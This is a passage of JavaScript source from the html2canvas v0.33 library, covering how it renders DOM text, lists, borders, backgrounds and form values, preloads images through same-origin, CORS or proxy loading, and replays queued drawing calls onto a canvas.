ctx.rect (stack.clip.left, stack.clip.top, stack.clip.width, stack.clip.height);
ctx.clip();
}
*/
oldTextNode = textNode;
for (c=0; c < renderList.length; c+=1) {
textValue = null;
if (support.rangeBounds){
// getBoundingClientRect is supported for ranges
if (text_decoration !== "none" || trimText(renderList[c]).length !== 0) {
textValue = renderList[c];
if (doc.createRange){
range = doc.createRange();
range.setStart(textNode, textOffset);
range.setEnd(textNode, textOffset + textValue.length);
}else{
// TODO add IE support
range = body.createTextRange();
}
if (range.getBoundingClientRect()) {
bounds = range.getBoundingClientRect();
}else{
bounds = {};
}
}
}else{
// it isn't supported, so let's wrap it inside an element instead and get the bounds there
// IE 9 bug
if (typeof oldTextNode.nodeValue !== "string" ){
continue;
}
newTextNode = oldTextNode.splitText(renderList[c].length);
parent = oldTextNode.parentNode;
wrapElement = doc.createElement('wrapper');
backupText = oldTextNode.cloneNode(true);
wrapElement.appendChild(oldTextNode.cloneNode(true));
parent.replaceChild(wrapElement, oldTextNode);
bounds = html2canvas.Util.Bounds(wrapElement);
textValue = oldTextNode.nodeValue;
oldTextNode = newTextNode;
parent.replaceChild(backupText, wrapElement);
}
if (textValue !== null){
drawText(textValue, bounds.left, bounds.bottom, ctx);
}
switch(text_decoration) {
case "underline":
// Draws a line at the baseline of the font
// TODO As some browsers display the line as more than 1px if the font-size is big, need to take that into account both in position and size
renderRect(ctx, bounds.left, Math.round(bounds.top + metrics.baseline + metrics.lineWidth), bounds.width, 1, color);
break;
case "overline":
renderRect(ctx, bounds.left, bounds.top, bounds.width, 1, color);
break;
case "line-through":
// TODO try and find exact position for line-through
renderRect(ctx, bounds.left, Math.ceil(bounds.top + metrics.middle + metrics.lineWidth), bounds.width, 1, color);
break;
}
textOffset += renderList[c].length;
}
}
}
function listPosition (element, val) {
var boundElement = doc.createElement( "boundelement" ),
type,
bounds;
boundElement.style.display = "inline";
//boundElement.style.width = "1px";
//boundElement.style.height = "1px";
type = element.style.listStyleType;
element.style.listStyleType = "none";
boundElement.appendChild( doc.createTextNode( val ) );
element.insertBefore(boundElement, element.firstChild);
bounds = html2canvas.Util.Bounds( boundElement );
element.removeChild( boundElement );
element.style.listStyleType = type;
return bounds;
}
function renderListItem(element, stack, elBounds) {
var position = getCSS(element, "listStylePosition"),
x,
y,
type = getCSS(element, "listStyleType"),
currentIndex,
text,
listBounds,
bold = getCSS(element, "fontWeight");
if (/^(decimal|decimal-leading-zero|upper-alpha|upper-latin|upper-roman|lower-alpha|lower-greek|lower-latin|lower-roman)$/i.test(type)) {
// TODO remove jQuery dependency
currentIndex = $(element).index()+1;
switch(type){
case "decimal":
text = currentIndex;
break;
case "decimal-leading-zero":
if (currentIndex.toString().length === 1){
text = currentIndex = "0" + currentIndex.toString();
}else{
text = currentIndex.toString();
}
break;
case "upper-roman":
text = html2canvas.Generate.ListRoman( currentIndex );
break;
case "lower-roman":
text = html2canvas.Generate.ListRoman( currentIndex ).toLowerCase();
break;
case "lower-alpha":
text = html2canvas.Generate.ListAlpha( currentIndex ).toLowerCase();
break;
case "upper-alpha":
text = html2canvas.Generate.ListAlpha( currentIndex );
break;
}
text += ". ";
listBounds = listPosition(element, text);
switch(bold){
case 401:
bold = "bold";
break;
case 400:
bold = "normal";
break;
}
ctx.setVariable( "fillStyle", getCSS(element, "color") );
ctx.setVariable( "font", getCSS(element, "fontVariant") + " " + bold + " " + getCSS(element, "fontStyle") + " " + getCSS(element, "fontSize") + " " + getCSS(element, "fontFamily") );
if ( position === "inside" ) {
ctx.setVariable("textAlign", "left");
// this.setFont(stack.ctx, element, false);
x = elBounds.left;
}else{
return;
/*
TODO really need to figure out some more accurate way to try and find the position.
as defined in http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-position, it does not even have a specified "correct" position, so each browser
may display it whatever way it feels like.
"The position of the list-item marker adjacent to floats is undefined in CSS 2.1. CSS 2.1 does not specify the precise location of the marker box or its position in the painting order"
*/
ctx.setVariable("textAlign", "right");
// this.setFont(stack.ctx, element, true);
x = elBounds.left - 10;
}
y = listBounds.bottom;
drawText(text, x, y, ctx)
}
}
function loadImage (src){
var img = images[src];
if (img && img.succeeded === true) {
return img.img;
} else {
return false;
}
}
function clipBounds(src, dst){
var x = Math.max(src.left, dst.left),
y = Math.max(src.top, dst.top),
x2 = Math.min((src.left + src.width), (dst.left + dst.width)),
y2 = Math.min((src.top + src.height), (dst.top + dst.height));
return {
left:x,
top:y,
width:x2-x,
height:y2-y
};
}
function setZ(zIndex, parentZ){
// TODO fix static elements overlapping relative/absolute elements under same stack, if they are defined after them
if (!parentZ){
this.zStack = h2czContext(0);
return this.zStack;
}
if (zIndex !== "auto"){
needReorder = true;
var newContext = h2czContext(zIndex);
parentZ.children.push(newContext);
return newContext;
}
return parentZ;
}
function renderBorders(el, ctx, bounds, clip){
/*
* TODO add support for different border-style's than solid
*/
var x = bounds.left,
y = bounds.top,
w = bounds.width,
h = bounds.height,
borderSide,
borderData,
bx,
by,
bw,
bh,
borderBounds,
borders = (function(el){
var borders = [],
sides = ["Top","Right","Bottom","Left"],
s;
for (s = 0; s < 4; s+=1){
borders.push({
width: getCSSInt(el, 'border' + sides[s] + 'Width'),
color: getCSS(el, 'border' + sides[s] + 'Color')
});
}
return borders;
}(el));
for (borderSide = 0; borderSide < 4; borderSide+=1){
borderData = borders[borderSide];
if (borderData.width>0){
bx = x;
by = y;
bw = w;
bh = h - (borders[2].width);
switch(borderSide){
case 0:
// top border
bh = borders[0].width;
break;
case 1:
// right border
bx = x + w - (borders[1].width);
bw = borders[1].width;
break;
case 2:
// bottom border
by = (by + h) - (borders[2].width);
bh = borders[2].width;
break;
case 3:
// left border
bw = borders[3].width;
break;
}
borderBounds = {
left:bx,
top:by,
width: bw,
height:bh
};
if (clip){
borderBounds = clipBounds(borderBounds, clip);
}
if (borderBounds.width>0 && borderBounds.height>0){
renderRect(ctx, bx, by, borderBounds.width, borderBounds.height, borderData.color);
}
}
}
return borders;
}
function renderFormValue (el, bounds, stack){
var valueWrap = doc.createElement('valuewrap'),
cssArr = ['lineHeight','textAlign','fontFamily','color','fontSize','paddingLeft','paddingTop','width','height','border','borderLeftWidth','borderTopWidth'],
i,
textValue,
textNode,
arrLen,
style;
for (i = 0, arrLen = cssArr.length; i < arrLen; i+=1){
style = cssArr[i];
try {
valueWrap.style[style] = getCSS(el, style);
} catch( e ) {
// Older IE has issues with "border"
h2clog("html2canvas: Parse: Exception caught in renderFormValue: " + e.message);
}
}
valueWrap.style.borderColor = "black";
valueWrap.style.borderStyle = "solid";
valueWrap.style.display = "block";
valueWrap.style.position = "absolute";
if (/^(submit|reset|button|text|password)$/.test(el.type) || el.nodeName === "SELECT"){
valueWrap.style.lineHeight = getCSS(el, "height");
}
valueWrap.style.top = bounds.top + "px";
valueWrap.style.left = bounds.left + "px";
if (el.nodeName === "SELECT"){
// TODO increase accuracy of text position
textValue = el.options[el.selectedIndex].text;
} else{
textValue = el.value;
}
textNode = doc.createTextNode(textValue);
valueWrap.appendChild(textNode);
body.appendChild(valueWrap);
renderText(el, textNode, stack);
body.removeChild(valueWrap);
}
function getBackgroundPosition(el, bounds, image){
// TODO add support for multi image backgrounds
var bgposition = (function( bgp ){
if (bgp !== undefined) {
return (bgp.split(",")[0] || "0 0").split(" ");
} else {
// Older IE uses -x and -y
return [ getCSS(el, "backgroundPositionX"), getCSS(el, "backgroundPositionY") ];
}
})( getCSS(el, "backgroundPosition") ),
topPos,
left,
percentage,
val;
if (bgposition.length === 1){
val = bgposition;
bgposition = [];
bgposition[0] = val;
bgposition[1] = val;
}
if (bgposition[0].toString().indexOf("%") !== -1){
percentage = (parseFloat(bgposition[0])/100);
left = ((bounds.width * percentage)-(image.width*percentage));
}else{
left = parseInt(bgposition[0],10);
}
if (bgposition[1].toString().indexOf("%") !== -1){
percentage = (parseFloat(bgposition[1])/100);
topPos = ((bounds.height * percentage)-(image.height*percentage));
}else{
topPos = parseInt(bgposition[1],10);
}
return {
top: topPos,
left: left
};
}
function renderImage (ctx, image, sx, sy, sw, sh, dx, dy, dw, dh) {
ctx.drawImage(
image,
sx, //sx
sy, //sy
sw, //sw
sh, //sh
dx, //dx
dy, // dy
dw, //dw
dh //dh
);
numDraws+=1;
}
function renderBackgroundRepeat (ctx, image, x, y, width, height, elx, ely){
var sourceX = 0,
sourceY=0;
if (elx-x>0){
sourceX = elx-x;
}
if (ely-y>0){
sourceY = ely-y;
}
renderImage(
ctx,
image,
sourceX, // source X
sourceY, // source Y
width-sourceX, // source Width
height-sourceY, // source Height
x+sourceX, // destination X
y+sourceY, // destination Y
width-sourceX, // destination width
height-sourceY // destination height
);
}
function renderBackgroundRepeatY (ctx, image, bgp, x, y, w, h){
var height,
width = Math.min(image.width,w),bgy;
bgp.top = bgp.top-Math.ceil(bgp.top/image.height)*image.height;
for(bgy=(y+bgp.top);bgy<h+y;){
if ( Math.floor(bgy+image.height)>h+y){
height = (h+y)-bgy;
}else{
height = image.height;
}
renderBackgroundRepeat(ctx,image,x+bgp.left,bgy,width,height,x,y);
bgy = Math.floor(bgy+image.height);
}
}
function renderBackgroundRepeatX(ctx, image, bgp, x, y, w, h){
var height = Math.min(image.height,h),
width,bgx;
bgp.left = bgp.left-Math.ceil(bgp.left/image.width)*image.width;
for (bgx=(x+bgp.left);bgx<w+x;) {
if (Math.floor(bgx+image.width)>w+x){
width = (w+x)-bgx;
}else{
width = image.width;
}
renderBackgroundRepeat(ctx,image,bgx,(y+bgp.top),width,height,x,y);
bgx = Math.floor(bgx+image.width);
}
}
function renderBackground(el,bounds,ctx){
// TODO add support for multi background-images
var background_image = getCSS(el, "backgroundImage"),
background_repeat = getCSS(el, "backgroundRepeat").split(",")[0],
image,
bgp,
bgy,
bgw,
bgsx,
bgsy,
bgdx,
bgdy,
bgh,
h,
height,
add;
// if (typeof background_image !== "undefined" && /^(1|none)$/.test(background_image) === false && /^(-webkit|-moz|linear-gradient|-o-)/.test(background_image)===false){
if ( !/data:image\/.*;base64,/i.test(background_image) && !/^(-webkit|-moz|linear-gradient|-o-)/.test(background_image) ) {
background_image = background_image.split(",")[0];
}
if ( typeof background_image !== "undefined" && /^(1|none)$/.test( background_image ) === false ) {
background_image = html2canvas.Util.backgroundImage( background_image );
image = loadImage( background_image );
bgp = getBackgroundPosition(el, bounds, image);
if ( image ){
switch ( background_repeat ) {
case "repeat-x":
renderBackgroundRepeatX( ctx, image, bgp, bounds.left, bounds.top, bounds.width, bounds.height );
break;
case "repeat-y":
renderBackgroundRepeatY( ctx, image, bgp, bounds.left, bounds.top, bounds.width, bounds.height );
break;
case "no-repeat":
/*
this.drawBackgroundRepeat(
ctx,
image,
bgp.left+bounds.left, // sx
bgp.top+bounds.top, // sy
Math.min(bounds.width,image.width),
Math.min(bounds.height,image.height),
bounds.left,
bounds.top
);*/
// console.log($(el).css('background-image'));
bgw = bounds.width - bgp.left;
bgh = bounds.height - bgp.top;
bgsx = bgp.left;
bgsy = bgp.top;
bgdx = bgp.left+bounds.left;
bgdy = bgp.top+bounds.top;
//
// bgw = Math.min(bgw,image.width);
// bgh = Math.min(bgh,image.height);
if (bgsx<0){
bgsx = Math.abs(bgsx);
bgdx += bgsx;
bgw = Math.min(bounds.width,image.width-bgsx);
}else{
bgw = Math.min(bgw,image.width);
bgsx = 0;
}
if (bgsy<0){
bgsy = Math.abs(bgsy);
bgdy += bgsy;
// bgh = bgh-bgsy;
bgh = Math.min(bounds.height,image.height-bgsy);
}else{
bgh = Math.min(bgh,image.height);
bgsy = 0;
}
// bgh = Math.abs(bgh);
// bgw = Math.abs(bgw);
if (bgh>0 && bgw > 0){
renderImage(
ctx,
image,
bgsx, // source X : 0
bgsy, // source Y : 1695
bgw, // source Width : 18
bgh, // source Height : 1677
bgdx, // destination X :906
bgdy, // destination Y : 1020
bgw, // destination width : 18
bgh // destination height : 1677
);
// ctx.drawImage(image,(bounds.left+bgp.left),(bounds.top+bgp.top));
}
break;
default:
bgp.top = bgp.top-Math.ceil(bgp.top/image.height)*image.height;
for(bgy=(bounds.top+bgp.top);bgy<bounds.height+bounds.top;){
h = Math.min(image.height,(bounds.height+bounds.top)-bgy);
if ( Math.floor(bgy+image.height)>h+bgy){
height = (h+bgy)-bgy;
}else{
height = image.height;
}
// console.log(height);
if (bgy<bounds.top){
add = bounds.top-bgy;
bgy = bounds.top;
}else{
add = 0;
}
renderBackgroundRepeatX(ctx,image,bgp,bounds.left,bgy,bounds.width,height);
if (add>0){
bgp.top += add;
}
bgy = Math.floor(bgy+image.height)-add;
}
break;
}
}else{
h2clog("html2canvas: Error loading background:" + background_image);
//console.log(images);
}
}
}
function renderElement(el, parentStack){
var bounds = html2canvas.Util.Bounds(el),
x = bounds.left,
y = bounds.top,
w = bounds.width,
h = bounds.height,
image,
bgcolor = getCSS(el, "backgroundColor"),
cssPosition = getCSS(el, "position"),
zindex,
opacity = getCSS(el, "opacity"),
stack,
stackLength,
borders,
ctx,
bgbounds,
imgSrc,
paddingLeft,
paddingTop,
paddingRight,
paddingBottom;
if (!parentStack){
docDim = docSize();
parentStack = {
opacity: 1
};
}else{
docDim = {};
}
//var zindex = this.formatZ(this.getCSS(el,"zIndex"),cssPosition,parentStack.zIndex,el.parentNode);
zindex = setZ( getCSS( el, "zIndex"), parentStack.zIndex );
stack = {
ctx: h2cRenderContext( docDim.width || w , docDim.height || h ),
zIndex: zindex,
opacity: opacity * parentStack.opacity,
cssPosition: cssPosition
};
// TODO correct overflow for absolute content residing under a static position
if (parentStack.clip){
stack.clip = html2canvas.Util.Extend( {}, parentStack.clip );
//stack.clip = parentStack.clip;
// stack.clip.height = stack.clip.height - parentStack.borders[2].width;
}
if ( options.useOverflow === true && /(hidden|scroll|auto)/.test(getCSS(el, "overflow")) === true && /(BODY)/i.test(el.nodeName) === false ){
if (stack.clip){
stack.clip = clipBounds(stack.clip, bounds);
}else{
stack.clip = bounds;
}
}
stackLength = zindex.children.push(stack);
ctx = zindex.children[stackLength-1].ctx;
ctx.setVariable("globalAlpha", stack.opacity);
// draw element borders
borders = renderBorders(el, ctx, bounds, false);
stack.borders = borders;
// let's modify clip area for child elements, so borders dont get overwritten
/*
if (stack.clip){
stack.clip.width = stack.clip.width-(borders[1].width);
stack.clip.height = stack.clip.height-(borders[2].width);
}
*/
if (ignoreElementsRegExp.test(el.nodeName) && options.iframeDefault !== "transparent"){
if (options.iframeDefault === "default"){
bgcolor = "#efefef";
}else{
bgcolor = options.iframeDefault;
}
}
// draw base element bgcolor
bgbounds = {
left: x + borders[3].width,
top: y + borders[0].width,
width: w - (borders[1].width + borders[3].width),
height: h - (borders[0].width + borders[2].width)
};
//if (this.withinBounds(stack.clip,bgbounds)){
if (stack.clip){
bgbounds = clipBounds(bgbounds, stack.clip);
//}
}
if (bgbounds.height > 0 && bgbounds.width > 0){
renderRect(
ctx,
bgbounds.left,
bgbounds.top,
bgbounds.width,
bgbounds.height,
bgcolor
);
renderBackground(el, bgbounds, ctx);
}
switch(el.nodeName){
case "IMG":
imgSrc = el.getAttribute('src');
image = loadImage(imgSrc);
if (image){
paddingLeft = getCSSInt(el, 'paddingLeft');
paddingTop = getCSSInt(el, 'paddingTop');
paddingRight = getCSSInt(el, 'paddingRight');
paddingBottom = getCSSInt(el, 'paddingBottom');
renderImage(
ctx,
image,
0, //sx
0, //sy
image.width, //sw
image.height, //sh
x + paddingLeft + borders[3].width, //dx
y + paddingTop + borders[0].width, // dy
bounds.width - (borders[1].width + borders[3].width + paddingLeft + paddingRight), //dw
bounds.height - (borders[0].width + borders[2].width + paddingTop + paddingBottom) //dh
);
}else{
h2clog("html2canvas: Error loading <img>:" + imgSrc);
}
break;
case "INPUT":
// TODO add all relevant type's, i.e. HTML5 new stuff
// todo add support for placeholder attribute for browsers which support it
if (/^(text|url|email|submit|button|reset)$/.test(el.type) && el.value.length > 0){
renderFormValue(el, bounds, stack);
/*
this just doesn't work well enough
this.newText(el,{
nodeValue:el.value,
splitText: function(){
return this;
},
formValue:true
},stack);
*/
}
break;
case "TEXTAREA":
if (el.value.length > 0){
renderFormValue(el, bounds, stack);
}
break;
case "SELECT":
if (el.options.length > 0){
renderFormValue(el, bounds, stack);
}
break;
case "LI":
renderListItem(el, stack, bgbounds);
break;
case "CANVAS":
paddingLeft = getCSSInt(el, 'paddingLeft');
paddingTop = getCSSInt(el, 'paddingTop');
paddingRight = getCSSInt(el, 'paddingRight');
paddingBottom = getCSSInt(el, 'paddingBottom');
renderImage(
ctx,
el,
0, //sx
0, //sy
el.width, //sw
el.height, //sh
x + paddingLeft + borders[3].width, //dx
y + paddingTop + borders[0].width, // dy
bounds.width - (borders[1].width + borders[3].width + paddingLeft + paddingRight), //dw
bounds.height - (borders[0].width + borders[2].width + paddingTop + paddingBottom) //dh
);
break;
}
return zindex.children[stackLength - 1];
}
function parseElement (el, stack) {
// skip hidden elements and their children
if (getCSS(el, 'display') !== "none" && getCSS(el, 'visibility') !== "hidden") {
stack = renderElement(el, stack) || stack;
ctx = stack.ctx;
if ( !ignoreElementsRegExp.test( el.nodeName ) ) {
var elementChildren = html2canvas.Util.Children( el ),
i,
node,
childrenLen;
for (i = 0, childrenLen = elementChildren.length; i < childrenLen; i+=1) {
node = elementChildren[i];
if ( node.nodeType === 1 ) {
parseElement(node, stack);
}else if ( node.nodeType === 3 ) {
renderText(el, node, stack);
}
}
}
}
}
stack = renderElement(element, null);
// parse every child element
for (i = 0, children = element.children, childrenLen = children.length; i < childrenLen; i+=1){
parseElement(children[i], stack);
}
stack.backgroundColor = getCSS( body, "backgroundColor" );
return stack;
};
function h2czContext(zindex) {
return {
zindex: zindex,
children: []
};
};
/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh
Released under MIT License
*/
html2canvas.Preload = function(element, opts){
var options = {
proxy: "http://html2canvas.appspot.com/",
timeout: 0, // no timeout
useCORS: false, // try to load images as CORS (where available), before falling back to proxy
allowTaint: false // whether to allow images to taint the canvas, won't need proxy if set to true
},
images = {
numLoaded: 0, // also failed are counted here
numFailed: 0,
numTotal: 0,
cleanupDone: false
},
pageOrigin,
methods,
i,
count = 0,
doc = element.ownerDocument,
domImages = doc.images, // TODO probably should limit it to images present in the element only
imgLen = domImages.length,
link = doc.createElement("a"),
supportCORS = (function( img ){
return (img.crossOrigin !== undefined);
})(new Image()),
timeoutTimer;
link.href = window.location.href;
pageOrigin = link.protocol + link.host;
opts = opts || {};
options = html2canvas.Util.Extend(opts, options);
element = element || doc.body;
function isSameOrigin(url){
link.href = url;
link.href = link.href; // YES, BELIEVE IT OR NOT, that is required for IE9 - http://jsfiddle.net/niklasvh/2e48b/
var origin = link.protocol + link.host;
return (origin === pageOrigin);
}
function start(){
h2clog("html2canvas: start: images: " + images.numLoaded + " / " + images.numTotal + " (failed: " + images.numFailed + ")");
if (!images.firstRun && images.numLoaded >= images.numTotal){
/*
this.log('Finished loading '+this.imagesLoaded+' images, Started parsing');
this.bodyOverflow = document.getElementsByTagName('body')[0].style.overflow;
document.getElementsByTagName('body')[0].style.overflow = "hidden";
*/
if (typeof options.complete === "function"){
options.complete(images);
}
h2clog("Finished loading images: # " + images.numTotal + " (failed: " + images.numFailed + ")");
}
}
// TODO modify proxy to serve images with CORS enabled, where available
function proxyGetImage(url, img, imageObj){
var callback_name,
scriptUrl = options.proxy,
script;
link.href = url;
url = link.href; // work around for pages with base href="" set - WARNING: this may change the url
callback_name = 'html2canvas_' + (count++);
imageObj.callbackname = callback_name;
if (scriptUrl.indexOf("?") > -1) {
scriptUrl += "&";
} else {
scriptUrl += "?";
}
scriptUrl += 'url=' + encodeURIComponent(url) + '&callback=' + callback_name;
script = doc.createElement("script");
window[callback_name] = function(a){
if (a.substring(0,6) === "error:"){
imageObj.succeeded = false;
images.numLoaded++;
images.numFailed++;
start();
} else {
setImageLoadHandlers(img, imageObj);
img.src = a;
}
window[callback_name] = undefined; // to work with IE<9 // NOTE: that the undefined callback property-name still exists on the window object (for IE<9)
try {
delete window[callback_name]; // for all browser that support this
} catch(ex) {}
script.parentNode.removeChild(script);
script = null;
delete imageObj.script;
delete imageObj.callbackname;
};
script.setAttribute("type", "text/javascript");
script.setAttribute("src", scriptUrl);
imageObj.script = script;
window.document.body.appendChild(script);
}
function getImages (el) {
// if (!this.ignoreRe.test(el.nodeName)){
//
var contents = html2canvas.Util.Children(el),
i,
contentsLen = contents.length,
background_image,
src,
img,
elNodeType = false;
for (i = 0; i < contentsLen; i+=1 ){
// var ignRe = new RegExp("("+this.ignoreElements+")");
// if (!ignRe.test(element.nodeName)){
getImages(contents[i]);
// }
}
// }
try {
elNodeType = el.nodeType;
} catch (ex) {
elNodeType = false;
h2clog("html2canvas: failed to access some element's nodeType - Exception: " + ex.message);
}
if (elNodeType === 1 || elNodeType === undefined){
// opera throws exception on external-content.html
try {
background_image = html2canvas.Util.getCSS(el, 'backgroundImage');
}catch(e) {
h2clog("html2canvas: failed to get background-image - Exception: " + e.message);
}
if ( background_image && background_image !== "1" && background_image !== "none" ) {
// TODO add multi image background support
if (background_image.substring(0,7) === "-webkit" || background_image.substring(0,3) === "-o-" || background_image.substring(0,4) === "-moz") {
img = html2canvas.Generate.Gradient( background_image, html2canvas.Util.Bounds( el ) );
if ( img !== undefined ){
images[background_image] = {
img: img,
succeeded: true
};
images.numTotal++;
images.numLoaded++;
start();
}
} else {
src = html2canvas.Util.backgroundImage(background_image.match(/data:image\/.*;base64,/i) ? background_image : background_image.split(",")[0]);
methods.loadImage(src);
}
/*
if (background_image && background_image !== "1" && background_image !== "none" && background_image.substring(0,7) !== "-webkit" && background_image.substring(0,3)!== "-o-" && background_image.substring(0,4) !== "-moz"){
// TODO add multi image background support
src = html2canvas.Util.backgroundImage(background_image.split(",")[0]);
methods.loadImage(src); */
}
}
}
function setImageLoadHandlers(img, imageObj) {
img.onload = function() {
if ( imageObj.timer !== undefined ) {
// CORS succeeded
window.clearTimeout( imageObj.timer );
}
images.numLoaded++;
imageObj.succeeded = true;
start();
};
img.onerror = function() {
if (img.crossOrigin === "anonymous") {
// CORS failed
window.clearTimeout( imageObj.timer );
// let's try with proxy instead
if ( options.proxy ) {
var src = img.src;
img = new Image();
imageObj.img = img;
img.src = src;
proxyGetImage( img.src, img, imageObj );
return;
}
}
images.numLoaded++;
images.numFailed++;
imageObj.succeeded = false;
start();
};
}
// work around for https://bugs.webkit.org/show_bug.cgi?id=80028
function isComplete() {
if (!this.img.complete) {
this.timer = window.setTimeout(this.img.customComplete, 100)
} else {
this.img.onerror();
}
}
methods = {
loadImage: function( src ) {
var img, imageObj;
if ( src && images[src] === undefined ) {
img = new Image();
if ( src.match(/data:image\/.*;base64,/i) ) {
img.src = src.replace(/url\(['"]{0,}|['"]{0,}\)$/ig, '');
imageObj = images[src] = { img: img };
images.numTotal++;
setImageLoadHandlers(img, imageObj);
} else if ( isSameOrigin( src ) || options.allowTaint === true ) {
imageObj = images[src] = { img: img };
images.numTotal++;
setImageLoadHandlers(img, imageObj);
img.src = src;
} else if ( supportCORS && !options.allowTaint && options.useCORS ) {
// attempt to load with CORS
img.crossOrigin = "anonymous";
imageObj = images[src] = { img: img };
images.numTotal++;
setImageLoadHandlers(img, imageObj);
img.src = src;
img.customComplete = isComplete.bind(imageObj);
img.customComplete();
} else if ( options.proxy ) {
imageObj = images[src] = { img: img };
images.numTotal++;
proxyGetImage( src, img, imageObj );
}
}
},
cleanupDOM: function(cause) {
var img, src;
if (!images.cleanupDone) {
if (cause && typeof cause === "string") {
h2clog("html2canvas: Cleanup because: " + cause);
} else {
h2clog("html2canvas: Cleanup after timeout: " + options.timeout + " ms.");
}
for (src in images) {
if (images.hasOwnProperty(src)) {
img = images[src];
if (typeof img === "object" && img.callbackname && img.succeeded === undefined) {
// cancel proxy image request
window[img.callbackname] = undefined; // to work with IE<9 // NOTE: that the undefined callback property-name still exists on the window object (for IE<9)
try {
delete window[img.callbackname]; // for all browser that support this
} catch(ex) {}
if (img.script && img.script.parentNode) {
img.script.setAttribute("src", "about:blank"); // try to cancel running request
img.script.parentNode.removeChild(img.script);
}
images.numLoaded++;
images.numFailed++;
h2clog("html2canvas: Cleaned up failed img: '" + src + "' Steps: " + images.numLoaded + " / " + images.numTotal);
}
}
}
// cancel any pending requests
if(window.stop !== undefined) {
window.stop();
} else if(document.execCommand !== undefined) {
document.execCommand("Stop", false);
}
if (document.close !== undefined) {
document.close();
}
images.cleanupDone = true;
if (!(cause && typeof cause === "string")) {
start();
}
}
},
renderingDone: function() {
if (timeoutTimer) {
window.clearTimeout(timeoutTimer);
}
}
};
if (options.timeout > 0) {
timeoutTimer = window.setTimeout(methods.cleanupDOM, options.timeout);
}
h2clog('html2canvas: Preload starts: finding background-images');
images.firstRun = true;
getImages( element );
h2clog('html2canvas: Preload: Finding images');
// load <img> images
for (i = 0; i < imgLen; i+=1){
methods.loadImage( domImages[i].getAttribute( "src" ) );
}
images.firstRun = false;
h2clog('html2canvas: Preload: Done.');
if ( images.numTotal === images.numLoaded ) {
start();
}
return methods;
};
/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh
Released under MIT License
*/
function h2cRenderContext(width, height) {
var storage = [];
return {
storage: storage,
width: width,
height: height,
fillRect: function () {
storage.push({
type: "function",
name: "fillRect",
'arguments': arguments
});
},
drawImage: function () {
storage.push({
type: "function",
name: "drawImage",
'arguments': arguments
});
},
fillText: function () {
storage.push({
type: "function",
name: "fillText",
'arguments': arguments
});
},
setVariable: function (variable, value) {
storage.push({
type: "variable",
name: variable,
'arguments': value
});
}
};
}
/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh
Released under MIT License
*/
html2canvas.Renderer = function(parseQueue, opts){
var options = {
"width": null,
"height": null,
"renderer": "canvas",
"taintTest": true // do a taint test with all images before applying to canvas
},
queue = [],
canvas,
usingFlashcanvas = false,
flashMaxSize = 2880, // flash bitmap limited to 2880x2880px // http://stackoverflow.com/questions/2033792/argumenterror-error-2015-invalid-bitmapdata
doc = document;
options = html2canvas.Util.Extend(opts, options);
function sortZ(zStack){
var subStacks = [],
stackValues = [],
zStackChildren = zStack.children,
s,
i,
stackLen,
zValue,
zLen,
stackChild,
b,
subStackLen;
for (s = 0, zLen = zStackChildren.length; s < zLen; s+=1){
stackChild = zStackChildren[s];
if (stackChild.children && stackChild.children.length > 0){
subStacks.push(stackChild);
stackValues.push(stackChild.zindex);
}else{
queue.push(stackChild);
}
}
stackValues.sort(function(a, b) {
return a - b;
});
for (i = 0, stackLen = stackValues.length; i < stackLen; i+=1){
zValue = stackValues[i];
for (b = 0, subStackLen = subStacks.length; b <= subStackLen; b+=1){
if (subStacks[b].zindex === zValue){
stackChild = subStacks.splice(b, 1);
sortZ(stackChild[0]);
break;
}
}
}
}
function canvasRenderer(zStack){
sortZ(zStack.zIndex);
var ctx = canvas.getContext("2d"),
storageContext,
i,
queueLen,
a,
newCanvas,
bounds,
testCanvas = document.createElement("canvas"),
hasCTX = ( testCanvas.getContext !== undefined ),
storageLen,
renderItem,
testctx = ( hasCTX ) ? testCanvas.getContext("2d") : {},
safeImages = [],
fstyle;
canvas.width = canvas.style.width = (!usingFlashcanvas) ? options.width || zStack.ctx.width : Math.min(flashMaxSize, (options.width || zStack.ctx.width) );
canvas.height = canvas.style.height = (!usingFlashcanvas) ? options.height || zStack.ctx.height : Math.min(flashMaxSize, (options.height || zStack.ctx.height) );
fstyle = ctx.fillStyle;
ctx.fillStyle = zStack.backgroundColor;
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = fstyle;
for (i = 0, queueLen = queue.length; i < queueLen; i+=1){
storageContext = queue.splice(0, 1)[0];
storageContext.canvasPosition = storageContext.canvasPosition || {};
//this.canvasRenderContext(storageContext,parentctx);
// set common settings for canvas
ctx.textBaseline = "bottom";
if (storageContext.clip){
ctx.save();
ctx.beginPath();
// console.log(storageContext);
ctx.rect(storageContext.clip.left, storageContext.clip.top, storageContext.clip.width, storageContext.clip.height);
ctx.clip();
}
if (storageContext.ctx.storage){
for (a = 0, storageLen = storageContext.ctx.storage.length; a < storageLen; a+=1){
renderItem = storageContext.ctx.storage[a];
switch(renderItem.type){
case "variable":
ctx[renderItem.name] = renderItem['arguments'];
break;
case "function":
if (renderItem.name === "fillRect") {
if (!usingFlashcanvas || renderItem['arguments'][0] + renderItem['arguments'][2] < flashMaxSize && renderItem['arguments'][1] + renderItem['arguments'][3] < flashMaxSize) {
ctx.fillRect.apply( ctx, renderItem['arguments'] );
}
}else if(renderItem.name === "fillText") {
if (!usingFlashcanvas || renderItem['arguments'][1] < flashMaxSize && renderItem['arguments'][2] < flashMaxSize) {
ctx.fillText.apply( ctx, renderItem['arguments'] );
}
}else if(renderItem.name === "drawImage") {
if (renderItem['arguments'][8] > 0 && renderItem['arguments'][7]){
if ( hasCTX && options.taintTest ) {
if ( safeImages.indexOf( renderItem['arguments'][ 0 ].src ) === -1 ) {
testctx.drawImage( renderItem['arguments'][ 0 ], 0, 0 );
try {
testctx.getImageData( 0, 0, 1, 1 );
} catch(e) {
testCanvas = document.createElement("canvas");
testctx = testCanvas.getContext("2d");
continue;
}
safeImages.push( renderItem['arguments'][ 0 ].src );
}
}
ctx.drawImage.apply( ctx, renderItem['arguments'] );
}
}
break;
default:
}
}
}
if (storageContext.clip){
ctx.restore();
}
}
h2clog("html2canvas: Renderer: Canvas renderer done - returning canvas obj");
// this.canvasRenderStorage(queue,this.ctx);
queueLen = options.elements.length;
